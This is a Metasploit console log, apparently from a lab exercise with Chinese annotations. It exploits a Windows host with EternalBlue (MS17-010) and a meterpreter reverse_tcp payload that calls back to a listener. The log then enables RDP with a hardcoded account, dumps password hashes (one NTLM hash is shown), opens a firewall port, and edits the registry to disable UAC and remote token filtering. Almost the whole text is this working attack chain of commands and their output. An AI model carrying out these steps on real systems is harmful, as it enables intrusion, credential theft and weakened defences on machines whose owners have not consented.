msf6 exploit(multi/handler) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.56
RHOSTS => 192.168.1.56
msf6 auxiliary(scanner/smb/smb_ms17_010) > ex
exit exploit
msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-met
asploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affe
cts Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7
target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects
Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 tar
get machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Se
rver 2008 R2, Windows 7, Windows Embedded Standard 7 target machin
es.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.79.135 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_eternalblue) >
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56
RHOSTS => 192.168.1.56
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payloda windows/x64/meterpreter/reverse_tcp
[!] Unknown datastore option: payloda. Did you mean PAYLOAD?
payloda => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload set payload
[-] The value specified for payload is not valid.
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
meterpreter > getuid
meterpreter > run post/windows/manage/enable_rdp
run post/windows/manage/enable_rdp USERNAME=xuegod PASSWORD=123456
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# rdesktop 192.168.1.56
meterpreter > hashdump
xuegod:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba885473768 18d4:::
meterpreter > shell
C:\Windows\system32>netsh firewall add portopening TCP 4444 "xuegod" ENABLE ALL
meterpreter > shell
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 0 /f
参数说明
ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项
C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
参数详解如下:
cmd.exe /k
启动一个新的命令行窗口并执行命令,执行完命令后,窗口保持打开状态。
%windir%\System32\reg.exe
调用 reg.exe 工具,%windir% 是 Windows 系统目录,reg.exe 用于操作注册表。
ADD
向注册表中添加新的键值对。如果该项已存在,将被覆盖。
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system
指定要修改的注册表路径,HKLM 是 Windows 注册表中的主要分支,Policies\system 存储系统的安全策略设置。
/v LocalAccountTokenFilterPolicy
指定要添加或修改的注册表项名称为 LocalAccountTokenFilterPolicy,该项控制是否启用本地账户的访问令牌过滤。
/t REG_DWORD
指定该注册表项的值类型为 REG_DWORD,即 32 位整数。
/d 1
设置 LocalAccountTokenFilterPolicy 的值为 1,表示启用该策略,允许本地账户的访问令牌不被过滤。
/f
强制执行命令,直接覆盖已存在的注册表项值,不会提示确认
C:\Windows\system32>exit
meterpreter > background